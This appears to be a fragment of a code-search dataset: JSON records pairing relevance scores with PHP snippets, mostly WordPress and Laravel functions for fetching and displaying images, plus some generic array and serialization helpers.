'.$video_class.'\">\r\r\n\t\t\t\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\t\t$pattern_counter++;\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\telse\r\r\n\t\t\t\t\t{\r\r\n\t\t\t\t\t\t//we don't have any attachments except the featured image\r\r\n\t\t\t\t\t\tif (!empty($featured_image_id))\r\r\n\t\t\t\t\t\t{\r\r\n\r\r\n\t\t\t\t\t\t\t$image_src = wp_get_attachment_image_src($featured_image_id, 'large' );\r\r\n\t\t\t\t\t\t\techo '<li class=\"xbig '.$video_class.'\" style=\"background-image:url('.$image_src[0].')\">\r\r\n\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t\telse if (!empty($video_poster))\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\techo '<li class=\"xbig '.$video_class.'\" style=\"background-image:url('.$video_poster.')\">\r\r\n\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t} \r\r\n\t\t\t\t\t\telse\r\r\n\t\t\t\t\t\t{\r\r\n\t\t\t\t\t\t\techo '<li class=\"xbig empty '.$video_class.'\">\r\r\n\t\t\t\t\t\t\t\t<a href=\"'.get_permalink(get_the_ID()).'\">'.\r\r\n\t\t\t\t\t\t\t\t$video_markup\r\r\n\t\t\t\t\t\t\t\t.'<div class=\"title\"><div><hr>'.get_the_title().'</div></div>\r\r\n\t\t\t\t\t\t\t\t<div class=\"border\"><span></span></div>\r\r\n\t\t\t\t\t\t\t</a>\r\r\n\t\t\t\t\t\t\t</li>';\r\r\n\t\t\t\t\t\t}\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t?>\r\r\n\t\t\t\t </ul>\r\r\n\t\t\t\t</article>\r\r\n\t\t\t<?php endif;\r\r\n\t\t\t$counter++;\r\r\n\t\t\tendforeach;\r\r\n wp_reset_postdata(); ?>\r\r\n\t</div>\r\r\n <?php\r\r\n}", "title": "" }, { "docid": "0e63479022249b2801db1a98d764b210", "score": "0.5575864", "text": "public function index()\n {\n $postGallery = PostGallery::all();\n $url = asset('storage/images/');\n $img = '';\n foreach ($postGallery as $value) {\n $img .= '<div class=\"col-file-manager\" id=\"img_col_id_136\">\n <div class=\"file-box\" data-file-id=\"'.$value->id.'\" data-mid-file-path=\"'.$url.\"/\".$value->photo.'\" data-default-file-path=\"'.$url.\"/\".$value->photo.'\" data-slider-file-path=\"'.$url.\"/\".$value->photo.'\" data-big-file-path=\"'.$url.\"/\".$value->photo.'\">\n <div class=\"image-container\">\n <img src=\"'.$url.\"/\".$value->photo.'\" alt=\"\" class=\"w-100\">\n </div>\n <span class=\"file-name\">'.$value->photo.'</span>\n </div>\n </div>';\n\n // $img .= '<div class=\"col\" style=\"height:150px;\">\n // <div class=\"card\">\n // <img src=\"'.$url.\"/\".$value->photo.'\" class=\"card-img-top\" alt=\"...\">\n // <div class=\"card-body\">\n // <p class=\"card-text\">'.$value->photo.'</p>\n // </div>\n // </div>\n // </div>';\n }\n return $img;\n }", "title": "" }, { "docid": "83936f2071fe9133edc39c684b9d049d", "score": "0.5571747", "text": "function my_function($context){\n $image = get_header_image();\n if ($image && ! is_front_page() )\n echo \"<img src=\" . get_header_image() . \" >\";\n}", "title": "" }, { "docid": "b6c78eac9c42a1105b0fbc50aeb9078c", "score": "0.5562446", "text": "function get_tf2013_firstpicture() {\n\t\tglobal $post;\n\t\t$first_img = '';\n\t\tob_start();\n\t\tob_end_clean();\n\t\t$matches = array();\n\t\tpreg_match('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n\t\tif ((is_array($matches)) && (isset($matches[1]))) {\n\t\t\t$first_img = $matches[1];\n\t\t\tif (!empty($first_img)) {\n\t\t\t\t$site_link = home_url();\n\t\t\t\t$first_img = preg_replace(\"%$site_link%i\", '', $first_img);\n\t\t\t\t$imagehtml = '<img src=\"' . $first_img . '\" alt=\"\" >';\n\t\t\t\treturn $imagehtml;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "45bbc92dcb911255a7f1e8d49b5f5e33", "score": "0.55603987", "text": "public function getMainProductImageURL()\n {\n return $this->_fields['MainProductImageURL']['FieldValue'];\n }", "title": "" }, { "docid": "95f480c37eafe85eebab432ce61633ff", "score": "0.5558321", "text": "function the_image_url($size = 'full' , $class = ''){\r\nglobal $post;\r\n\r\n//setup the attachment array\r\n$att_array = array(\r\n'post_parent' => $post->ID,\r\n'post_type' => 'attachment',\r\n'post_mime_type' => 'image',\r\n'order_by' => 'menu_order'\r\n);\r\n\r\n//get the post attachments\r\n$attachments = get_children($att_array);\r\n\r\n//make sure there are attachments\r\nif (is_array($attachments)){\r\n//loop through them\r\nforeach($attachments as $att){\r\n//find the one we want based on its characteristics\r\nif ( $att->menu_order == 0){\r\n$image_src_array = wp_get_attachment_image_src($att->ID, $size);\r\n\r\n//get url – 1 and 2 are the x and y dimensions\r\n$url = $image_src_array[0];\r\n$caption = $att->post_excerpt;\r\n$image_html = '%s';\r\n\r\n//combine the data\r\n$html = sprintf($image_html,$url,$caption,$class);\r\n\r\n//echo the result\r\necho $html;\r\n}\r\n}\r\n}\r\n\r\n}", "title": "" }, { "docid": "7647219a53ff139e80d35aea47349b46", "score": "0.55582577", "text": "function pageBanner($args = NULL){\n if(!$args['title']){\n $args['title'] = 'Temporal title';\n }\n\n if(!$args['subtitle']){\n $args['subtitle'] = 'Temporal subtitle';\n }\n\n if(!$args['photo']){\n\n $args['photo'] = get_theme_file_uri('/asset/images/ocean.jpg');\n \n }\n\n?>\n<div class=\"page-banner\">\n <div class=\"page-banner__bg-image\" style=\"background-image: url(<?php echo $args['photo'] ?>);\"></div>\n <div class=\"page-banner__content container container--narrow\">\n <h1 class=\"page-banner__title\"><?php echo $args['title'] ?></h1>\n <div class=\"page-banner__intro\">\n <p><?php echo $args['subtitle'] ?></p>\n </div>\n </div> \n</div>\n\n<?php \n\n}", "title": "" }, { "docid": "b8ab387c30f6f5d8e1588dca0a5f016d", "score": "0.55289596", "text": "public function getMetaImage(){\n }", "title": "" }, { "docid": "83d63a5cab71d3fea79dcac5bc6e9a2a", "score": "0.5519955", "text": "public function render()\n {\n return view('pilot::components.img');\n }", "title": "" }, { "docid": "9dfc326fa1e5092cdea473a438e74bfb", "score": "0.5518281", "text": "public function index()\n {\n $logo=Logo::all()[0];\n $imgPetit = ImageManagerStatic::make('img/' . $logo->image)->resize(111,32);\n $imgGrand = ImageManagerStatic::make('img/' . $logo->image)->resize(504,148);\n\n $imgPetit->save(\"img/imgPetit.png\",100);\n $imgGrand->save(\"img/imgGrand.png\",100);\n return view('admin.logo.logo',compact('logo','imgPetit','imgGrand'));\n }", "title": "" }, { "docid": "d3c92733154e69cbce6b1606d6a94234", "score": "0.5511853", "text": "public function logoImage(){\n return $this->config()->get(\"logo_image\");\n }", "title": "" }, { "docid": "92024925483cb9f692153a3d4b7a9ead", "score": "0.5510821", "text": "public static function image() {\n\t\treturn array(\n\t\t\t\t'thumb-width' => 100, \n\t\t\t\t'thumb-height' => 80,\n\t\t\t\t'quality' => 75, \n\t\t\t\t'cache-dir' => PUBLIC_PATH . '/cache/images', \n\t\t\t\t'thumb-dir' => PUBLIC_PATH . '/cache/images/thumbs' \n\t\t\t);\n\t}", "title": "" }, { "docid": "f5c576cce0be3dadec67f2287f91f708", "score": "0.5492588", "text": "public function showHome()\n\t{\n\t\t$coffees = Coffee::all()->random(6);\n\t\tforeach($coffees as $c) {\n\t\t\t$new = Image::make(public_path() . $c->img_url)->fit(500)->save(public_path() . '/img/fit500' . $c->img_url);\n\t\t}\n\n\t\treturn View::make('home', compact('coffees'));\n\t}", "title": "" }, { "docid": "ce439517d0cc697a9ba8f5ada9ba5e56", "score": "0.54873055", "text": "public function getImageUrl()\n {\n return $this->image['url'];\n }", "title": "" }, { "docid": "9a0b4e8b580c0e2652c9ac936b4d4a5d", "score": "0.54810524", "text": "function catch_that_image() {\n global $post, $posts;\n $first_img = '';\n ob_start();\n ob_end_clean();\n $output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n $first_img = $matches[1][0];\n\n if(empty($first_img)) {\n $first_img = \"/path/to/default.png\";\n }\n return $first_img;\n}", "title": "" }, { "docid": "166c78179bbbdaedb08ef8d021d78fc8", "score": "0.5474519", "text": "public function index()\n {\n return view('portfolioGallery.index')\n ->with('gallery_items', GalleryItem::all())\n ->with('gallery_images', GalleryImages::all());\n }", "title": "" }, { "docid": "04846dde5e20e9c9b11156642fed6a0f", "score": "0.54724455", "text": "private function single_image_output() {\n\t\tif ( $this->homepage_image_output() ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( $this->posts_page_image_output() ) { // Posts page, which won't be caught by is_singular() below.\n\t\t\treturn;\n\t\t}\n\n\t\tif ( $this->frontend_page_type->is_simple_page() ) {\n\t\t\t$post_id = $this->frontend_page_type->get_simple_page_id();\n\n\t\t\tif ( $this->image_from_meta_values_output( $post_id ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$post_id = get_the_ID();\n\n\t\t\tif ( $this->image_of_attachment_page_output( $post_id ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ( $this->image_thumbnail_output( $post_id ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ( count( $this->images ) > 0 ) {\n\t\t\t\t$this->gallery_images_output();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ( $this->image_from_content_output( $post_id ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "61e2d5a8fb830ff7730acf49126a1820", "score": "0.5466505", "text": "function getImage($sku) {\n\treturn \"default.jpg\";\n}", "title": "" }, { "docid": "18487ee0e9ad6ee9a9af153310ab7fdb", "score": "0.5457649", "text": "public function adminlte_image()\n {\n $photo = Auth::user()->image;\n\n if (empty($photo)) {\n $photo = 'https://picsum.photos/300/300';\n\n } else {\n $photo = asset(Storage::url('profile_images/employees/'.$photo));\n }\n return $photo;\n }", "title": "" }, { "docid": "a6af3315d2548bc28b338fb04a2a95a7", "score": "0.5452479", "text": "function sad_face() {\n return '<img src=\"'.get_home_url( null, '', null ).'/wp-content/plugins/wp-vakt/img/sad.jpg\" label=\"Sad Face\" width=\"31\" border=\"0\" align=\"top\" style=\"display:inline;margin-top:-7px;margin-right:10px;outline-style:none;text-decoration:none;\"/>';\n}", "title": "" }, { "docid": "3c72e19e2ab0474bd6212bf5e639f2fc", "score": "0.54515165", "text": "function page_header_image() {\n /**\n * set to only return fallback image\n * until we set up second featured image\n *\n\n $tub = get_the_post_thumbnail(null, 'full');\n\n echo '<div id=\"article_banner\">';\n if (empty($tub)) {\n echo \"<img src='\"\n . get_template_directory_uri()\n . \"/images/preload/featured_image_placeholder.png' alt='\"\n . get_the_title()\n . \"' />\";\n\n } else {\n echo $tub;\n }*/\n\n echo '<div id=\"article_banner\">';\n echo \"<img src='\"\n . get_template_directory_uri()\n . \"/images/preload/featured_image_placeholder.png' alt='\"\n . get_the_title()\n . \"' />\";\n echo '</div>';\n}", "title": "" }, { "docid": "404d93b4dc76e813442b29b49b920304", "score": "0.5443419", "text": "function get_imgd_imagen_home($post, $meta='imgd_slideshow', $thumbsize='thumbnail', $posttype=\"\"){\n\n $imageID=array();\n $path = \"\";\n\n if ($meta=='') $meta='imgd_slideshow';\n if ($thumbsize=='') $meta='thumbnail';\n\n $post = get_post( $post );\n\n if ( ! $post ) {\n return '';\n }\n\n $imageID = get_post_meta( $post->ID, $meta, true );\n\n //piklist::pre($imageID);\n\n if (!empty($imageID)){\n return wp_get_attachment_url($imageID, $thumbsize);\n\n } else {\n\n if($posttype!=\"\") {\n $imageID = get_post_meta($post->ID, $posttype);\n if (!empty($imageID))\n return thumb($imageID[0]['path']);\n }\n\n if (has_post_thumbnail($post->ID)) {\n return get_the_post_thumbnail_url($post->ID, $thumbsize);\n\n }\n }\n}", "title": "" }, { "docid": "e392b9f402816ac1b22423286c13aaa8", "score": "0.54408216", "text": "function ST4_columns_content_only_slideshow($column_name, $post_ID) {\n if ($column_name == 'featured_image') {\n\t \n $post_featured_image = ST4_get_featured_image($post_ID);\n if ($post_featured_image) {\n echo '<img src=\"' . $post_featured_image . '\" />';\n }\n else {\n // NO FEATURED IMAGE, SHOW THE DEFAULT ONE\n echo '<img src=\"' . get_bloginfo( 'template_url' ) . '/images/default.jpg\" />';\n }\n }\n\n \n}", "title": "" }, { "docid": "db9805f10fc6b7b7cdff7021906b58d3", "score": "0.5437215", "text": "protected function getImage() {\n\t\t$imageId = get_post_thumbnail_id();\n\t\treturn $imageId ? $this->image( $imageId, 'productImage' ) : '';\n\t}", "title": "" }, { "docid": "044fa1e6021fefedda247e1430c4eca6", "score": "0.54360616", "text": "function getImageSrc($page, $article){\n $hero_img = $page->find('.img-hero', 0);\n if ($hero_img){\n return $hero_img->src;\n }\n else {\n $img = $article->find('img', 0);\n if ($img){\n return $article->find('img', 0)->src;\n }\n return \"\";\n }\n}", "title": "" }, { "docid": "188dc8a38bb3d3a8d5f6b5d67f8a95b8", "score": "0.54359174", "text": "function getPageFeaturedImageBanner() {\n $tub = get_the_post_thumbnail(null, 'full');\n\n if (empty($tub)) {\n return \"<img src='\"\n . get_template_directory_uri()\n . \"/images/preload/page_banner_placeholder.jpg' alt='\"\n . get_the_title()\n . \"' />\";\n } else {\n return $tub;\n }\n}", "title": "" }, { "docid": "b60051ecf7dbfe25547f4171055d3a9d", "score": "0.5428756", "text": "public function brandLogoImageUrl(){\n\t\t \n\t\t $logoimageurl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA).'brand/logo/';\n\t\t\n \t\treturn $logoimageurl;\n\t}", "title": "" }, { "docid": "3e850cffb7993115ac28b59fb626d258", "score": "0.54226726", "text": "public function getImageUrl()\n {\n return $this->image_url;\n }", "title": "" }, { "docid": "1fd931580864cb20e8ff4f1037bfd7c8", "score": "0.5413895", "text": "public function getCoverImage()\n {\n return $this->coverImage;\n }", "title": "" }, { "docid": "19189b9663cf9431d020fe512cced711", "score": "0.5408614", "text": "public function getImageview(){\t\t\r\n\t\t$base64 =$this->IMG64!=''?'data:image/jpg;charset=utf-8;base64,'.$this->IMG64:$this->noImage();\r\n\t\treturn $base64;\t\r\n\t\t//$base64 ='data:image/jpg;base64,'.$this->IMG64;\r\n\t\t//return Html::img($base64,['width'=>'100','height'=>'60','class'=>'img-circle']);\r\n\t\t//return $model['IMG_START']!=''?Html::img($base64,['width'=>'140','height'=>'140']):Html::img(Yii::$app->urlManager->baseUrl.'/df.jpg',['width'=>'140','height'=>'140']);\t\t\r\n\t\t//return Html::img($base64,['width'=>'140','height'=>'140']);\t\r\n\t}", "title": "" }, { "docid": "a899a9c9024815a5cda3ffe62e72b11b", "score": "0.54079145", "text": "public function getMainImage()\n {\n if ($this->metadata['image'] !== null) {\n return $this->metadata['image'];\n }\n\n foreach ($this->dom->getElementsByTagName('link') as $link) {\n /** @var \\DOMElement $link */\n /*\n * Check for the rel attribute, then check if the rel attribute is either img_src or image_src, and\n * finally check for the existence of the href attribute, which should hold the image url.\n */\n if ($link->hasAttribute('rel') && ($link->getAttribute('rel') === 'img_src' || $link->getAttribute('rel') === 'image_src') && $link->hasAttribute('href')) {\n return $link->getAttribute('href');\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "4f8db8d33d503bdb2ae9829f384a673b", "score": "0.54035884", "text": "function wpeb_catch_first_image(): string\n {\n global $post;\n // Start output buffering to discard any content\n ob_start();\n ob_end_clean();\n\n // Extract the first image URL using regular expressions\n $output = preg_match_all('/<img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*>/i', $post->post_content, $matches);\n $first_img = $matches[1][0];\n\n // If no image is found, use a default image URL\n if (empty($first_img)) {\n $first_img = get_template_directory_uri() . '/img/noimage.png';\n }\n\n return $first_img;\n }", "title": "" }, { "docid": "21104c0f0fdd23ea8dcbfd3bc6c771b7", "score": "0.5402857", "text": "public function returnFeaturedImg($data)\n {\n\n var_dump(AltThemeEndpoints::getFeaturedImg($data['id']));\n die();\n }", "title": "" }, { "docid": "23a6ba1711dbc71a84c33c376c5f7638", "score": "0.540168", "text": "public function index()\n {\n $apprentices = Apprentice::orderBy('updated_at','desc')->paginate(9);\n $header = Header::all();\n return view('pages.apprenticeimg',[\n 'apprentices' => $apprentices,\n 'headers' => $header,\n ]);\n }", "title": "" }, { "docid": "702bd4e844e90b2029d78a0812c8ee04", "score": "0.5392517", "text": "function get_object_image_src($post_id, $post_type = false, $size = 'square-medium'){\n\n // get post type if not supplied\n if(!$post_type)\n $post_type = get_post_type($post_id);\n\n if($post_type == 'jobs'){\n\n // get connected business/organization and use that\n return get_object_image_src(get_field('company', $post_id, false, $size));\n\n }else if($post_type == 'organizations' || $post_type == 'businesses'){\n\n\n // get connected business/organization and use that\n $post_image = get_field( 'logo', $post_id );\n if(!empty($post_image) && is_array($post_image))\n return !empty($post_image['sizes'][$size]) ? $post_image['sizes'][$size] : $post_image['url'];\n\n }else{\n\n // everything else\n \n // check if there's a featured image\n if(has_post_thumbnail($post_id)){\n return get_the_post_thumbnail_url($post_id, $size);\n }\n \n // try hero image\n $hero_image = get_field( 'hero_image' );\n if( !empty($hero_image) )\n return $hero_image['sizes'][$size];\n\n }\n\n\n // return default image\n // $default = get_field( 'default_' . $post_type . '_image', 'option');\n // return $default['sizes'][$size];\n return get_stylesheet_directory_uri() . '/media/images/agency.svg';;\n\n}", "title": "" }, { "docid": "ad5a25b297a2705d2aed0cbe39fd191e", "score": "0.5392043", "text": "public function getImageUrl() {\r\n return $this->data[self::IMG_URL];\r\n }", "title": "" } ]
be2499f14311831698ae57bfb5dd52bd
Create an array to save allocations in it based on TAs
[ { "docid": "4d9a7ef71f7c66d0b67cd48c577dcad5", "score": "0.0", "text": "function getAllocationById($allocation_id)\n {\n $allocation_data = [];\n\n // get allocated teaching assistants\n $allocated_tas = DB::table('allocations')\n ->select('module_id')\n ->distinct()\n ->get();\n\n\n foreach ($allocated_tas as $module) {\n $allocation_data[] = DB::table('allocations')\n ->select('allocation_id', 'ta_id', 'module_id', 'academic_year', 'creator_email', 'created_at', 'updated_at')\n ->where('module_id', '=', $module->module_id)\n ->where('allocation_id', '=', $allocation_id)\n ->get();\n }\n\n return $allocation_data;\n }", "title": "" } ]
[ { "docid": "db1aafbeb74f0afeb9de35e1b5db45ed", "score": "0.5421529", "text": "public abstract function as_array();", "title": "" }, { "docid": "0c990d88b186f6abb2059a8ff9a177d7", "score": "0.52777827", "text": "abstract protected function createContentArray(): array;", "title": "" }, { "docid": "d8fcd5c3d1a59b038ae22088eea1ec9f", "score": "0.5265343", "text": "function getArrayType();", "title": "" }, { "docid": "1ddbf616686230f8c58d9df39f290811", "score": "0.5215342", "text": "function system_array_obj_to_data_array(array $array){\n\t$data = array();\n\tfor($i=0 ; $i<count($array) ; $i++){\n\t\t$tmp = $array[$i];\n\t\t$data[] = system_to_data_obj($tmp);\n\t}\n\treturn $data;\n}", "title": "" }, { "docid": "3f3bf8ac6544166f67f408f0fa9c1211", "score": "0.5161082", "text": "public function asArray();", "title": "" }, { "docid": "3f3bf8ac6544166f67f408f0fa9c1211", "score": "0.5161082", "text": "public function asArray();", "title": "" }, { "docid": "3f3bf8ac6544166f67f408f0fa9c1211", "score": "0.5161082", "text": "public function asArray();", "title": "" }, { "docid": "9633a62bb13e084c2c8ab1459c67fbee", "score": "0.51420474", "text": "public static function arrayHeap()\n {\n return ArrayHeap::make();\n }", "title": "" }, { "docid": "bd0c38d4c5507b1e952fd2e44bd3e01c", "score": "0.49920803", "text": "abstract protected function fillSutContainer1(): array;", "title": "" }, { "docid": "2b0bf2340c56b17476b99badc2f07019", "score": "0.49632558", "text": "function toArray() ;", "title": "" }, { "docid": "2b0bf2340c56b17476b99badc2f07019", "score": "0.4963081", "text": "function toArray() ;", "title": "" }, { "docid": "badc6e51f0234d0474bdcac81d8cb892", "score": "0.49547592", "text": "public function generate(): array;", "title": "" }, { "docid": "0f28b0c33ffdccd4e6ad525a18cfa985", "score": "0.49281734", "text": "public function createArrayDriver()\n {\n return new ArrayStore();\n }", "title": "" }, { "docid": "9681b3ec0d0190fddc7e643aea0847ed", "score": "0.48664585", "text": "public abstract function toArray () : array;", "title": "" }, { "docid": "f7444f7bcb29421e145ff57cb577e9ef", "score": "0.4864502", "text": "public abstract function __toArray();", "title": "" }, { "docid": "45a8d7055ffc962dd62c2abdbe837403", "score": "0.48439056", "text": "protected function createTmpRegisters()\r\n {\r\n if (empty($this->registers)) return array();\r\n $files = array();\r\n foreach ($this->registers as $table=>$register) {\r\n $offset = 0;\r\n $fields = array('`_pk`');\r\n $files[$table] = $this->temporaryDir . DIRECTORY_SEPARATOR . $table.'.'.uniqid().'.tmp';\r\n $format = array();\r\n $empty = array();\r\n foreach ($register['fields'] as $f=>$field) {\r\n $fields[] = '`'.$f.'`';\r\n $empty[$f] = null;\r\n switch ($field['type']) {\r\n case 'string':\r\n $format['pack'][] = 'A'.$field['len'];\r\n $format['unpack'][] = 'A'.$field['len'].$f;\r\n break;\r\n case 'small':\r\n $format['pack'][] = 'c';\r\n $format['unpack'][] = 'c'.$f;\r\n break;\r\n case 'int':\r\n $format['pack'][] = 'i';\r\n $format['unpack'][] = 'i'.$f;\r\n break;\r\n case 'long':\r\n $format['pack'][] = 'l';\r\n $format['unpack'][] = 'l'.$f;\r\n break;\r\n case 'float':\r\n $format['pack'][] = 'f';\r\n $format['unpack'][] = 'f'.$f;\r\n break;\r\n case 'double':\r\n $format['pack'][] = 'd';\r\n $format['unpack'][] = 'd'.$f;\r\n break;\r\n }\r\n }\r\n $pack = implode('',$format['pack']);\r\n $bin = self::packArray($pack,$empty);\r\n $this->meta['registers'][$table]['pack'] = implode('/',$format['unpack']);\r\n $this->meta['registers'][$table]['len'] = strlen($bin);\r\n $tmpFile = fopen($files[$table],'w');\r\n $data = $this->pdo->query('SELECT '.implode(',',$fields).' FROM `'.$table.'` WHERE `_used` = \\'1\\'');\r\n fwrite($tmpFile,$bin);\r\n $this->pdo->beginTransaction();\r\n while($row = $data->fetch()) {\r\n $rowId = $row['_pk'];\r\n unset($row['_pk']);\r\n $check = 0;\r\n foreach ($row as $cell=>$cellValue) {\r\n if (!empty($cellValue)) $check = 1;\r\n }\r\n $bin = self::packArray($pack,$row);\r\n if ($check) {\r\n $offset ++;\r\n fwrite($tmpFile,$bin);\r\n }\r\n $this->pdo->exec('UPDATE '.'`_ips` SET `offset` =\\''.($check?$offset:0).'\\' WHERE `parameter` = \\''.$table.'\\' AND `value`=\\''.$rowId.'\\';');\r\n }\r\n $this->meta['registers'][$table]['items'] = $offset;\r\n $this->pdo->commit();\r\n fclose($tmpFile);\r\n }\r\n return $files;\r\n }", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.4841132", "text": "abstract public function toArray();", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.4841132", "text": "abstract public function toArray();", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.4841132", "text": "abstract public function toArray();", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.4841132", "text": "abstract public function toArray();", "title": "" }, { "docid": "12291e940854eeaee5132b27a364e41c", "score": "0.48317492", "text": "function addTypesToArray($a_arr, $a_type, $a_cnt)\n\t{\n\t\tif (!is_array($a_arr))\n\t\t{\n\t\t\t$a_arr = array();\n\t\t}\n\t\tif ($a_cnt > 0)\n\t\t{\n\t\t\t$type_arr = array_fill(0, $a_cnt, $a_type);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$type_arr = array();\n\t\t}\n\t\treturn array_merge($a_arr, $type_arr);\n\t}", "title": "" }, { "docid": "9b1315bcad89727738010c03f5083083", "score": "0.48254964", "text": "abstract protected function exportArray1(): array;", "title": "" }, { "docid": "f973a6dd44822b86685b99f148d8825f", "score": "0.48250535", "text": "abstract public function toArray(): array;", "title": "" }, { "docid": "44493e013ae695016ac6d4d8e1ae4444", "score": "0.48153204", "text": "public function toArray()\n {\n $type = str_replace(array(__NAMESPACE__, '\\\\'), '', get_called_class());\n return array('type' => $type, 'points' => $this->_remainingPoints);\n }", "title": "" }, { "docid": "11e12ed7f2605e6fa500c29c031d19e0", "score": "0.48063782", "text": "public abstract function toArray();", "title": "" }, { "docid": "11e12ed7f2605e6fa500c29c031d19e0", "score": "0.48063782", "text": "public abstract function toArray();", "title": "" }, { "docid": "11e12ed7f2605e6fa500c29c031d19e0", "score": "0.48063782", "text": "public abstract function toArray();", "title": "" }, { "docid": "b064d4d5ad65f97e63998ff63ddb6437", "score": "0.48054865", "text": "public function toArray(): array\n {\n return [\n 'start_time' => $this->startTime->format(self::TIME_FORMAT),\n 'finish_time' => $this->finishTime->format(self::TIME_FORMAT),\n 'type' => $this->type,\n 'number' => $this->numberOfResources,\n ];\n }", "title": "" }, { "docid": "1892d158b2c89db81ba18ff7bde6d870", "score": "0.48038992", "text": "function toArray() : array;", "title": "" }, { "docid": "1f589feb8ab51d218ad4bc7546808c80", "score": "0.47932506", "text": "function toArray()\n {\n }", "title": "" }, { "docid": "1f589feb8ab51d218ad4bc7546808c80", "score": "0.47932506", "text": "function toArray()\n {\n }", "title": "" }, { "docid": "9b214a3d6c3ab31a0641bb75a0f8f375", "score": "0.47862434", "text": "public function toArray(): array\n {\n $data = [];\n if ($this->wallTime > 0) {\n $data[self::WALL_TIME_KEY] = $this->wallTime;\n }\n if ($this->cpuTime > 0) {\n $data[self::CPU_TIME_KEY] = $this->cpuTime;\n }\n if ($this->memory) {\n $data[self::MEMORY_KEY] = $this->memory;\n }\n if ($this->parallel > 0) {\n $data[self::PARALLEL_KEY] = $this->parallel;\n }\n return $data;\n }", "title": "" }, { "docid": "de454b72926dc37885943366fbd989f6", "score": "0.47623277", "text": "function toArray();", "title": "" }, { "docid": "de454b72926dc37885943366fbd989f6", "score": "0.47623277", "text": "function toArray();", "title": "" }, { "docid": "de454b72926dc37885943366fbd989f6", "score": "0.47623277", "text": "function toArray();", "title": "" }, { "docid": "05a31552c5bdf2ec21731a3433562fa6", "score": "0.47569665", "text": "public function asArray(): array;", "title": "" }, { "docid": "3eaf318719ea2c8893c4b01f39818561", "score": "0.47489968", "text": "public function toCreateArray()\n {\n if (method_exists($this, 'toArray')) {\n return $this->toArray();\n } else {\n return $this->__toArray();\n }\n }", "title": "" }, { "docid": "bf846f86b3de3672ad5977ed71e00e0a", "score": "0.47464827", "text": "public function asArray():array;", "title": "" }, { "docid": "e1b8bc376615a57f7e76b540b18c5b1c", "score": "0.47304994", "text": "protected function createClassArray ()\n {\n $this->class_reflection = new \\ReflectionClass($this->class_name);\n\n $doc_comment = $this->class_reflection->getDocComment();\n $this->class_atr_list = $this->createArray($doc_comment);\n }", "title": "" }, { "docid": "c97d74eee4a123a5570107c3f1b9b513", "score": "0.47299552", "text": "private function _createObjects(){\n$beers = $this->_DbTable();// see below 3#private method\n$obj = [];\nfor($i = 0; $i < $this->howMany; $i++) //depend... \n{\n$beer = $beers[$i]; //for each loop we gonna pull one array from the array of arrays builded in _DbTable method\n$obj[$i] = new Product($beer['Name'], $beer['Price'], $_SESSION[\"val$i\"]);//for eche loop we gonna make one product with data from array we pulled line above\n}\nreturn $obj; // we are returning the array of objects\n}", "title": "" }, { "docid": "d06fcbf7f02f521e27c31d3cf68c4640", "score": "0.4720306", "text": "public function transformToDatabaseAppropriateArray() {\n $arr[\"registration\"] = $this->registration;\n $arr[\"make\"] = $this->make;\n $arr[\"color\"] = $this->color;\n $arr[\"year\"] = $this->year;\n $arr[\"price\"] = $this->price;\n\n return $arr;\n }", "title": "" }, { "docid": "2d96b315adeb24b0472a586e102ced7f", "score": "0.4704435", "text": "public function to_array()\n {\n return $this->mem;\n }", "title": "" }, { "docid": "5bedf89c40ef28905251657e110dcfd0", "score": "0.47039694", "text": "private function toArray(): array\n {\n return [\n 'sgid' => $this->gid->toString(),\n 'purpose' => $this->purpose,\n 'expires_at' => $this->encodedExpiration(),\n ];\n }", "title": "" }, { "docid": "fc06bf5ed2ce1386643d95fbda5d9e07", "score": "0.4697017", "text": "function toArray($useAttr = true)\n {\n $array[$this->name] = array();\n switch ($this->type) {\n case 'directive':\n if ($useAttr && count($this->attributes) > 